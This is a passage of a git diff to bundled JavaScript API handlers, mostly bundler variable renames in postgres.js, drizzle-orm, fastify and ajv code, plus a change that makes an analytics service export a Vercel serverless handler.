await (name ? sql3`rollback to ${sql3(name)}` : sql3`rollback`); + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; } if (!name) { - prepare ? await sql3`prepare transaction '${sql3.unsafe(prepare)}'` : await sql3`commit`; + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; } return result; function savepoint(name2, fn3) { if (name2 && Array.isArray(name2.raw)) - return savepoint((sql4) => sql4.apply(sql4, arguments)); + return savepoint((sql5) => sql5.apply(sql5, arguments)); arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } @@ -71810,7 +71825,7 @@ function Postgres(a, b2) { )) ]).then(() => clearTimeout(timer2)); } - async function close() { + async function close2() { await Promise.all(connections.map((c) => c.end())); } async function destroy(resolve) { @@ -71850,7 +71865,7 @@ function Postgres(a, b2) { function parseOptions(a, b2) { if (a && a.shared) return a; - const env = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env.PGHOST || "localhost", port = o.port || url2.port || env.PGPORT || 5432, user = o.user || o.username || url2.username || env.PGUSERNAME || env.PGUSER || osUsername(); + const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); o.no_prepare && (o.prepare = false); query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); @@ -71876,24 +71891,24 @@ function parseOptions(a, b2) { host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, - database: o.database || o.db || (url2.pathname || "").slice(1) || env.PGDATABASE || user, + database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, user, - pass: o.pass || o.password || url2.password || env.PGPASSWORD || "", + pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", ...Object.entries(defaults).reduce( (acc, [k, d]) => { - const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env["PG" + k.toUpperCase()] || d; + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; return acc; }, {} ), connection: { - application_name: env.PGAPPNAME || "postgres.js", + application_name: env2.PGAPPNAME || "postgres.js", ...o.connection, ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) }, types: o.types || {}, - target_session_attrs: tsa(o, url2, env), + target_session_attrs: tsa(o, url2, env2), onnotice: o.onnotice, onnotify: o.onnotify, onclose: o.onclose, @@ -71905,8 +71920,8 @@ function parseOptions(a, b2) { ...mergeUserTypes(o.types) }; } -function tsa(o, url2, env) { - const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env.PGTARGETSESSIONATTRS; +function tsa(o, url2, env2) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) return x; throw new Error("target_session_attrs " + x + " is not supported"); @@ -72661,10 +72676,10 @@ function pgEnumObjectWithSchema(enumName, values2, schema) { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js var Subquery = class { static [entityKind] = "Subquery"; - constructor(sql2, fields, alias, isWith = false, usedTables = []) { + constructor(sql3, fields, alias, isWith = false, usedTables = []) { this._ = { brand: "Subquery", - sql: sql2, + sql: sql3, selectedFields: fields, alias, isWith, @@ -73062,19 +73077,19 @@ function sql(strings, ...params) { } return new SQL(queryChunks); } -((sql2) => { +((sql22) => { function empty() { return new SQL([]); } - sql2.empty = empty; + sql22.empty = empty; function fromList(list) { return new SQL(list); } - sql2.fromList = fromList; + sql22.fromList = fromList; function raw(str) { return new SQL([new StringChunk(str)]); } - sql2.raw = raw; + sql22.raw = raw; function join(chunks, separator) { const result = []; for (const [i, chunk] of chunks.entries()) { @@ -73085,24 +73100,24 @@ function sql(strings, ...params) { } return new SQL(result); } - sql2.join = join; + sql22.join = join; function identifier(value) { return new Name(value); } - sql2.identifier = identifier; + sql22.identifier = identifier; function placeholder2(name2) { return new Placeholder(name2); } - sql2.placeholder = placeholder2; + sql22.placeholder = placeholder2; function param2(value, encoder2) { return new Param(value, encoder2); } - sql2.param = param2; + sql22.param = param2; })(sql || (sql = {})); ((SQL2) => { class Aliased { - constructor(sql2, fieldAlias) { - this.sql = sql2; + constructor(sql22, fieldAlias) { + this.sql = sql22; this.fieldAlias = fieldAlias; } static [entityKind] = "SQL.Aliased"; @@ -75922,8 +75937,8 @@ var PgDialect = class { return "none"; } } - sqlToQuery(sql2, invokeSource) { - return sql2.toQuery({ + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ casing: this.casing, escapeName: this.escapeName, escapeParam: this.escapeParam, @@ -78282,10 +78297,10 @@ var PgRelationalQuery = class extends QueryPromise { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js var PgRaw = class extends QueryPromise { - constructor(execute, sql2, query, mapBatchResult) { + constructor(execute, sql3, query, mapBatchResult) { super(); this.execute = execute; - this.sql = sql2; + this.sql = sql3; this.query = query; this.mapBatchResult = mapBatchResult; } @@ -78605,8 +78620,8 @@ var NoopCache = class extends Cache { async onMutate(_params) { } }; -async function hashQuery(sql2, params) { - const dataToHash = `${sql2}-${JSON.stringify(params)}`; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; const encoder2 = new TextEncoder(); const data = encoder2.encode(dataToHash); const hashBuffer = await crypto.subtle.digest("SHA-256", data); @@ -78739,8 +78754,8 @@ var PgSession = class { ).all(); } /** @internal */ - async count(sql2, token) { - const res = await this.execute(sql2, token); + async count(sql22, token) { + const res = await this.execute(sql22, token); return Number( res[0]["count"] ); @@ -78777,12 +78792,12 @@ var PgTransaction = class extends PgDatabase { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js var PostgresJsPreparedQuery = class extends PgPreparedQuery { - constructor(client, queryString, params, logger, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + constructor(client, queryString, params, logger2, cache2, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { super({ sql: queryString, params }, cache2, queryMetadata, cacheConfig); this.client = client; this.queryString = queryString; this.params = params; - this.logger = logger; + this.logger = logger2; this.fields = fields; this._isResponseInArrayMode = _isResponseInArrayMode; this.customResultMapper = customResultMapper; @@ -78924,11 +78939,11 @@ function construct(client, config2 = {}) { client.options.serializers["114"] = transparentParser; client.options.serializers["3802"] = transparentParser; const dialect = new PgDialect({ casing: config2.casing }); - let logger; + let logger2; if (config2.logger === true) { - logger = new DefaultLogger(); + logger2 = new DefaultLogger(); } else if (config2.logger !== false) { - logger = config2.logger; + logger2 = config2.logger; } let schema; if (config2.schema) { @@ -78942,14 +78957,14 @@ function construct(client, config2 = {}) { tableNamesMap: tablesConfig.tableNamesMap }; } - const session = new PostgresJsSession(client, dialect, schema, { logger, cache: config2.cache }); - const db = new PostgresJsDatabase(dialect, session, schema); - db.$client = client; - db.$cache = config2.cache; - if (db.$cache) { - db.$cache["invalidate"] = config2.cache?.onMutate; + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; } - return db; + return db2; } function drizzle(...params) { if (typeof params[0] === "string") { @@ -79504,7 +79519,7 @@ var idempotencyKeys = pgTable( // packages/db/src/client.ts function createDatabase(options) { - const sql2 = src_default(options.url, { + const sql3 = src_default(options.url, { max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, // Prepared statements are disabled because pgbouncer in transaction mode // (the deployment target) cannot support them. @@ -79512,18 +79527,18 @@ function createDatabase(options) { onnotice: options.onNotice ?? (() => { }) }); - const db = drizzle(sql2, { schema: schema_exports }); + const db2 = drizzle(sql3, { schema: schema_exports }); return { - db, - sql: sql2, + db: db2, + sql: sql3, close: async () => { - await sql2.end({ timeout: 5 }); + await sql3.end({ timeout: 5 }); } }; } -async function pingDatabase(sql2) { +async function pingDatabase(sql3) { try { - await sql2`SELECT 1`; + await sql3`SELECT 1`; return true; } catch { return false; @@ -79863,12 +79878,12 @@ function createMetricsRegistry(serviceName) { } // packages/observability/src/fastify.ts -function registerHttpMetrics(app, metrics2) { - app.decorateRequest("metricsStartTime", void 0); - app.addHook("onRequest", async (request) => { +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { request.metricsStartTime = process.hrtime.bigint(); }); - app.addHook("onResponse", async (request, reply) => { + app2.addHook("onResponse", async (request, reply) => { const route = request.routeOptions.url ?? request.url; const labels = { method: request.method, route, status_code: String(reply.statusCode) }; metrics2.httpRequestsTotal.inc(labels); @@ -79878,16 +79893,16 @@ function registerHttpMetrics(app, metrics2) { } }); } -function metricsRoute(app, metrics2) { - app.get("/metrics", async (_request, reply) => { +function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { reply.header("content-type", metrics2.registry.contentType); return metrics2.registry.metrics(); }); } // services/analytics/src/repo/summary.ts -async function summarizeForOrganization(db, organizationId, since) { - const rows = await db.select({ eventType: schema_exports.analyticsEvents.eventType, count: sql`count(*)::int` }).from(schema_exports.analyticsEvents).where(and(eq(schema_exports.analyticsEvents.organizationId, organizationId), gte(schema_exports.analyticsEvents.timestamp, since))).groupBy(schema_exports.analyticsEvents.eventType); +async function summarizeForOrganization(db2, organizationId, since) { + const rows = await db2.select({ eventType: schema_exports.analyticsEvents.eventType, count: sql`count(*)::int` }).from(schema_exports.analyticsEvents).where(and(eq(schema_exports.analyticsEvents.organizationId, organizationId), gte(schema_exports.analyticsEvents.timestamp, since))).groupBy(schema_exports.analyticsEvents.eventType); return rows; } @@ -79895,8 +79910,8 @@ async function summarizeForOrganization(db, organizationId, since) { var querySchema = external_exports.object({ days: external_exports.coerce.number().int().min(1).max(90).default(30) }); -function getSummaryRoute(app, deps) { - app.get("/v1/analytics/summary", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { +function getSummaryRoute(app2, deps) { + app2.get("/v1/analytics/summary", { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { const actor = getActor(request); if (actor.role !== "admin" && actor.role !== "owner") { throw new AppError("FORBIDDEN", "Only org admins/owners can view analytics"); @@ -79917,8 +79932,8 @@ function getSummaryRoute(app, deps) { } // services/analytics/src/http/routes/health.ts -function healthRoute(app, deps) { - app.get("/health", async (_request, reply) => { +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { const dbOk = await pingDatabase(deps.sql); const brokerOk = deps.broker.isHealthy(); const body = { @@ -79939,7 +79954,7 @@ var STATUS_TO_CODE = { 429: "RATE_LIMITED" }; function buildApp(deps) { - const app = (0, import_fastify.default)({ + const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger // type and Fastify's FastifyBaseLogger disagree on a structural detail // that doesn't matter at runtime. @@ -79948,14 +79963,14 @@ function buildApp(deps) { trustProxy: true, genReqId: () => newUuid() }); - void app.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(import_rate_limit.default, { + void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); + void app2.register(import_rate_limit.default, { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }); const metrics2 = createMetricsRegistry("analytics-service"); - registerHttpMetrics(app, metrics2); - app.setErrorHandler((error51, request, reply) => { + registerHttpMetrics(app2, metrics2); + app2.setErrorHandler((error51, request, reply) => { if (error51 instanceof ZodError) { reply.status(400).send({ error: { @@ -79986,15 +80001,15 @@ function buildApp(deps) { const appError = toAppError(error51); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); - app.setNotFoundHandler((request, reply) => { + app2.setNotFoundHandler((request, reply) => { reply.status(404).send({ error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } }); }); - healthRoute(app, deps); - metricsRoute(app, metrics2); - getSummaryRoute(app, deps); - return app; + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + getSummaryRoute(app2, deps); + return app2; } // services/analytics/src/env.ts @@ -80012,9 +80027,9 @@ function loadAnalyticsServiceEnv(source = process.env) { // services/analytics/src/repo/events.ts var UNIQUE_VIOLATION = "23505"; -async function recordEvent(db, consumer, envelope) { +async function recordEvent(db2, consumer, envelope) { try { - await db.transaction(async (tx) => { + await db2.transaction(async (tx) => { await tx.insert(schema_exports.processedEvents).values({ eventId: envelope.event_id, consumer }); await tx.insert(schema_exports.analyticsEvents).values({ organizationId: envelope.trace.organization_id, @@ -80042,20 +80057,21 @@ async function registerConsumers(deps) { } // services/analytics/src/index.ts -async function main() { - const env = loadAnalyticsServiceEnv(); - const logger = createLogger({ service: "analytics-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger - }); - const tokenVerifier = createTokenVerifierConfig(env); - const app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); - const subscriptions = await registerConsumers({ db, broker, logger }); +var env = loadAnalyticsServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ service: "analytics-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +var { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +var broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger +}); +var tokenVerifier = createTokenVerifierConfig(env); +var app = buildApp({ db, sql: sql2, env, logger, broker, tokenVerifier }); +var subscriptions = await registerConsumers({ db, broker, logger }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); await Promise.all(subscriptions.map((subscription) => subscription.stop())); @@ -80068,10 +80084,10 @@ async function main() { process.on("SIGINT", () => void shutdown("SIGINT")); await app.listen({ host: env.HOST, port: env.PORT }); } -main().catch((error51) => { - console.error(error51); - process.exit(1); -}); +export { + app, + index_default as default +}; /*! Bundled license information: amqplib/lib/defs.js: diff --git a/api/applications/index.js b/api/applications/index.js index 4966c1c..9fb9037 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -10463,13 +10463,13 @@ var require_format = __commonJS({ var defs = require_defs(); var format = __require("util").format; var HEARTBEAT = require_frame().HEARTBEAT; - module.exports.closeMessage = function(close) { - var code = close.fields.replyCode; + module.exports.closeMessage = function(close2) { + var code = close2.fields.replyCode; return format( '%d (%s) with message "%s"', code, defs.constant_strs[code], - close.fields.replyText + close2.fields.replyText ); }; module.exports.methodName = function(id) { @@ -21626,8 +21626,8 @@ var require_log_controller = __commonJS({ * @param {import('../fastify').FastifyBaseLogger} logger * @param {import('../fastify').FastifyInstance} server */ - serviceUnavailable(logger, server) { - logger.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); } }; module.exports = { LogController }; @@ -21674,20 +21674,20 @@ var require_logger_pino = __commonJS({ } const prevLogger = opts.logger; const prevGenReqId = opts.genReqId; - let logger = null; + let logger2 = null; if (prevLogger) { opts.logger = void 0; opts.genReqId = void 0; if (prevLogger[serializersSym]) { opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); } - logger = prevLogger.child({}, opts); + logger2 = prevLogger.child({}, opts); opts.logger = prevLogger; opts.genReqId = prevGenReqId; } else { - logger = pino2(opts, opts.stream); + logger2 = pino2(opts, opts.stream); } - return logger; + return logger2; } var serializers2 = { req: function asReqValue(req) { @@ -21730,22 +21730,22 @@ var require_logger_factory = __commonJS({ kLogController } = require_symbols3(); var { LogController } = require_log_controller(); - function createChildLogger(context2, logger, req, reqId, loggerOpts) { + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { const loggerBindings = { [context2.server[kLogController].requestIdLogLabel]: reqId }; - const child = context2.childLoggerFactory.call(context2.server, logger, loggerBindings, loggerOpts || {}, req); + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); if (context2.childLoggerFactory !== defaultChildLoggerFactory) { validateLogger(child, true); } return child; } - function defaultChildLoggerFactory(logger, bindings, opts) { - return logger.child(bindings, opts); + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); } - function validateLogger(logger, strict) { + function validateLogger(logger2, strict) { const methods = ["info", "error", "debug", "fatal", "warn", "trace", "child"]; - const missingMethods = logger ? methods.filter((method) => !logger[method] || typeof logger[method] !== "function") : methods; + const missingMethods = logger2 ? methods.filter((method) => !logger2[method] || typeof logger2[method] !== "function") : methods; if (!missingMethods.length) { return true; } else if (missingMethods.length === methods.length && !strict) { @@ -21760,17 +21760,17 @@ var require_logger_factory = __commonJS({ } if (!options.loggerInstance && !options.logger) { const nullLogger = require_abstract_logging(); - const logger2 = nullLogger; - logger2.child = () => logger2; - return { logger: logger2, hasLogger: false }; + const logger3 = nullLogger; + logger3.child = () => logger3; + return { logger: logger3, hasLogger: false }; } const { createPinoLogger, serializers: serializers2 } = require_logger_pino(); if (validateLogger(options.loggerInstance)) { - const logger2 = createPinoLogger({ + const logger3 = createPinoLogger({ logger: options.loggerInstance, serializers: Object.assign({}, serializers2, options.loggerInstance.serializers) }); - return { logger: logger2, hasLogger: true }; + return { logger: logger3, hasLogger: true }; } if (validateLogger(options.logger)) { throw FST_ERR_LOG_INVALID_LOGGER_CONFIG(); @@ -21792,8 +21792,8 @@ var require_logger_factory = __commonJS({ localLoggerOptions.level = localLoggerOptions.level || "info"; localLoggerOptions.serializers = Object.assign({}, serializers2, localLoggerOptions.serializers); options.logger = localLoggerOptions; - const logger = createPinoLogger(options.logger); - return { logger, hasLogger: true }; + const logger2 = createPinoLogger(options.logger); + return { logger: logger2, hasLogger: true }; } function createLogController(options) { const userController = options.logController; @@ -22204,8 +22204,8 @@ var require_error_serializer = __commonJS({ json3 += JSON_STR_END_OBJECT; return json3; } - const main2 = anonymous0; - return main2; + const main = anonymous0; + return main; }(validator, serializer); } }); @@ -28097,20 +28097,20 @@ var require_compile = __commonJS({ var util_1 = require_util(); var validate_1 = require_validate(); var SchemaEnv = class { - constructor(env) { + constructor(env2) { var _a3; this.refs = {}; this.dynamicAnchors = {}; let schema; - if (typeof env.schema == "object") - schema = env.schema; - this.schema = env.schema; - this.schemaId = env.schemaId; - this.root = env.root || this; - this.baseId = (_a3 = env.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env.schemaId || "$id"]); - this.schemaPath = env.schemaPath; - this.localRefs = env.localRefs; - this.meta = env.meta; + if (typeof env2.schema == "object") + schema = env2.schema; + this.schema = env2.schema; + this.schemaId = env2.schemaId; + this.root = env2.root || this; + this.baseId = (_a3 = env2.baseId) !== null && _a3 !== void 0 ? _a3 : (0, resolve_1.normalizeId)(schema === null || schema === void 0 ? void 0 : schema[env2.schemaId || "$id"]); + this.schemaPath = env2.schemaPath; + this.localRefs = env2.localRefs; + this.meta = env2.meta; this.$async = schema === null || schema === void 0 ? void 0 : schema.$async; this.refs = {}; } @@ -28294,15 +28294,15 @@ var require_compile = __commonJS({ baseId = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schId); } } - let env; + let env2; if (typeof schema != "boolean" && schema.$ref && !(0, util_1.schemaHasRulesButRef)(schema, this.RULES)) { const $ref = (0, resolve_1.resolveUrl)(this.opts.uriResolver, baseId, schema.$ref); - env = resolveSchema.call(this, root, $ref); + env2 = resolveSchema.call(this, root, $ref); } const { schemaId } = this.opts; - env = env || new SchemaEnv({ schema, schemaId, root, baseId }); - if (env.schema !== env.root.schema) - return env; + env2 = env2 || new SchemaEnv({ schema, schemaId, root, baseId }); + if (env2.schema !== env2.root.schema) + return env2; return void 0; } } @@ -29989,13 +29989,13 @@ var require_core = __commonJS({ }, warn() { }, error() { } }; - function getLogger(logger) { - if (logger === false) + function getLogger(logger2) { + if (logger2 === false) return noLogs; - if (logger === void 0) + if (logger2 === void 0) return console; - if (logger.log && logger.warn && logger.error) - return logger; + if (logger2.log && logger2.warn && logger2.error) + return logger2; throw new Error("logger must implement log, warn and error methods"); } var KEYWORD_NAME = /^[a-z_$][a-z0-9_$:-]*$/i; @@ -30100,8 +30100,8 @@ var require_ref = __commonJS({ schemaType: "string", code(cxt) { const { gen, schema: $ref, it } = cxt; - const { baseId, schemaEnv: env, validateName, opts, self: self2 } = it; - const { root } = env; + const { baseId, schemaEnv: env2, validateName, opts, self: self2 } = it; + const { root } = env2; if (($ref === "#" || $ref === "#/") && baseId === root.baseId) return callRootRef(); const schOrEnv = compile_1.resolveRef.call(self2, root, baseId, $ref); @@ -30111,8 +30111,8 @@ var require_ref = __commonJS({ return callValidate(schOrEnv); return inlineRefSchema(schOrEnv); function callRootRef() { - if (env === root) - return callRef(cxt, validateName, env, env.$async); + if (env2 === root) + return callRef(cxt, validateName, env2, env2.$async); const rootName = gen.scopeValue("root", { ref: root }); return callRef(cxt, (0, codegen_1._)`${rootName}.validate`, root, root.$async); } @@ -30142,14 +30142,14 @@ var require_ref = __commonJS({ exports.getValidate = getValidate; function callRef(cxt, v, sch, $async) { const { gen, it } = cxt; - const { allErrors, schemaEnv: env, opts } = it; + const { allErrors, schemaEnv: env2, opts } = it; const passCxt = opts.passContext ? names_1.default.this : codegen_1.nil; if ($async) callAsyncRef(); else callSyncRef(); function callAsyncRef() { - if (!env.$async) + if (!env2.$async) throw new Error("async schema referenced by sync schema"); const valid = gen.let("valid"); gen.try(() => { @@ -44649,7 +44649,7 @@ var require_route = __commonJS({ const router = FindMyWay(options); let avvio; let fourOhFour; - let logger; + let logger2; let hasLogger; let setupResponseListeners; let throwIfAlreadyStarted; @@ -44667,7 +44667,7 @@ var require_route = __commonJS({ setup(options2, fastifyArgs) { avvio = fastifyArgs.avvio; fourOhFour = fastifyArgs.fourOhFour; - logger = options2.logger; + logger2 = options2.logger; hasLogger = fastifyArgs.hasLogger; setupResponseListeners = fastifyArgs.setupResponseListeners; throwIfAlreadyStarted = fastifyArgs.throwIfAlreadyStarted; @@ -44811,7 +44811,7 @@ var require_route = __commonJS({ opts.routePath = path2; opts.prefix = prefix; opts.logLevel = opts.logLevel || this[kLogLevel]; - validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger); + validateLogLevelOption(opts.logLevel, opts.method, opts.url, logger2); if (this[kLogSerializers] || opts.logSerializers) { opts.logSerializers = Object.assign(Object.create(this[kLogSerializers]), opts.logSerializers); } @@ -44949,7 +44949,7 @@ var require_route = __commonJS({ const id = getGenReqId(context2.server, req); let childLogger; if (hasLogger === false && context2.childLoggerFactory === defaultChildLoggerFactory) { - childLogger = logger; + childLogger = logger2; } else { const loggerOpts = { level: context2.logLevel @@ -44957,7 +44957,7 @@ var require_route = __commonJS({ if (context2.logSerializers) { loggerOpts.serializers = context2.logSerializers; } - childLogger = createChildLogger(context2, logger, req, id, loggerOpts); + childLogger = createChildLogger(context2, logger2, req, id, loggerOpts); } if (closing === true) { if (req.httpVersionMajor !== 2) { @@ -45082,10 +45082,10 @@ var require_route = __commonJS({ throw new FST_ERR_ROUTE_HANDLER_TIMEOUT_OPTION_NOT_INT(handlerTimeout); } } - function validateLogLevelOption(logLevel, method, path, logger) { + function validateLogLevelOption(logLevel, method, path, logger2) { if (logLevel == null || logLevel === "") return; - if (logger?.levels?.values == null) return; - if (typeof logLevel !== "string" || logger.levels.values[logLevel] === void 0) { + if (logger2?.levels?.values == null) return; + if (typeof logLevel !== "string" || logger2.levels.values[logLevel] === void 0) { throw new FST_ERR_ROUTE_LOG_LEVEL_INVALID(method, path, logLevel); } } @@ -45150,7 +45150,7 @@ var require_four_oh_four = __commonJS({ var { createChildLogger } = require_logger_factory(); var { getGenReqId } = require_req_id_gen_factory(); function fourOhFour(options) { - const { logger } = options; + const { logger: logger2 } = options; const router = FindMyWay({ onBadUrl: options.routerOptions.onBadUrl, onMaxParamLength: options.routerOptions.onMaxParamLength, @@ -45246,7 +45246,7 @@ var require_four_oh_four = __commonJS({ function fourOhFourFallBack(req, res) { const fourOhFourContext = this[kFourOhFourLevelInstance][kFourOhFourContext]; const id = getGenReqId(fourOhFourContext.server, req); - const childLogger = createChildLogger(fourOhFourContext, logger, req, id); + const childLogger = createChildLogger(fourOhFourContext, logger2, req, id); const request = new Request(id, null, req, null, childLogger, fourOhFourContext); const reply = new Reply(res, request, childLogger); fourOhFourContext.server[kLogController].incomingRequest(request, reply); @@ -47955,7 +47955,7 @@ var require_fastify = __commonJS({ opts.includeMeta = opts.includeHooks ? opts.includeMeta ? supportedHooks.concat(opts.includeMeta) : supportedHooks : opts.includeMeta; return router.printRoutes(opts); } - function wrapRouting(router2, { rewriteUrl, logger }) { + function wrapRouting(router2, { rewriteUrl, logger: logger2 }) { let isAsync; return function preRouting(req, res) { if (isAsync === void 0) isAsync = router2.isAsyncConstraint(); @@ -48033,13 +48033,13 @@ var require_fastify = __commonJS({ if (!ajvOptions.plugins || !Array.isArray(ajvOptions.plugins)) { throw new FST_ERR_AJV_CUSTOM_OPTIONS_OPT_NOT_ARR(typeof ajvOptions.plugins); } - const { logger, hasLogger } = createLogger2(options); + const { logger: logger2, hasLogger } = createLogger2(options); const logController = createLogController(options); options.connectionTimeout = options.connectionTimeout || defaultInitOptions.connectionTimeout; options.keepAliveTimeout = options.keepAliveTimeout || defaultInitOptions.keepAliveTimeout; options.maxRequestsPerSocket = options.maxRequestsPerSocket || defaultInitOptions.maxRequestsPerSocket; options.requestTimeout = options.requestTimeout || defaultInitOptions.requestTimeout; - options.logger = logger; + options.logger = logger2; options.requestIdHeader = requestIdHeader; options.ajv = ajvOptions; options.clientErrorHandler = options.clientErrorHandler || defaultClientErrorHandler; @@ -50747,11 +50747,11 @@ var init_global_utils = __esm({ // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/ComponentLogger.js function logProxy(funcName, namespace, args) { - const logger = getGlobal("diag"); - if (!logger) { + const logger2 = getGlobal("diag"); + if (!logger2) { return; } - return logger[funcName](namespace, ...args); + return logger2[funcName](namespace, ...args); } var DiagComponentLogger; var init_ComponentLogger = __esm({ @@ -50797,17 +50797,17 @@ var init_types = __esm({ }); // node_modules/.pnpm/@opentelemetry+api@1.9.1/node_modules/@opentelemetry/api/build/esm/diag/internal/logLevelLogger.js -function createLogLevelDiagLogger(maxLevel, logger) { +function createLogLevelDiagLogger(maxLevel, logger2) { if (maxLevel < DiagLogLevel.NONE) { maxLevel = DiagLogLevel.NONE; } else if (maxLevel > DiagLogLevel.ALL) { maxLevel = DiagLogLevel.ALL; } - logger = logger || {}; + logger2 = logger2 || {}; function _filterFunc(funcName, theLevel) { - const theFunc = logger[funcName]; + const theFunc = logger2[funcName]; if (typeof theFunc === "function" && maxLevel >= theLevel) { - return theFunc.bind(logger); + return theFunc.bind(logger2); } return function() { }; @@ -50850,16 +50850,16 @@ var init_diag = __esm({ constructor() { function _logProxy(funcName) { return function(...args) { - const logger = getGlobal("diag"); - if (!logger) + const logger2 = getGlobal("diag"); + if (!logger2) return; - return logger[funcName](...args); + return logger2[funcName](...args); }; } const self2 = this; - const setLogger = (logger, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { var _a3, _b, _c; - if (logger === self2) { + if (logger2 === self2) { const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); return false; @@ -50870,7 +50870,7 @@ var init_diag = __esm({ }; } const oldLogger = getGlobal("diag"); - const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { const 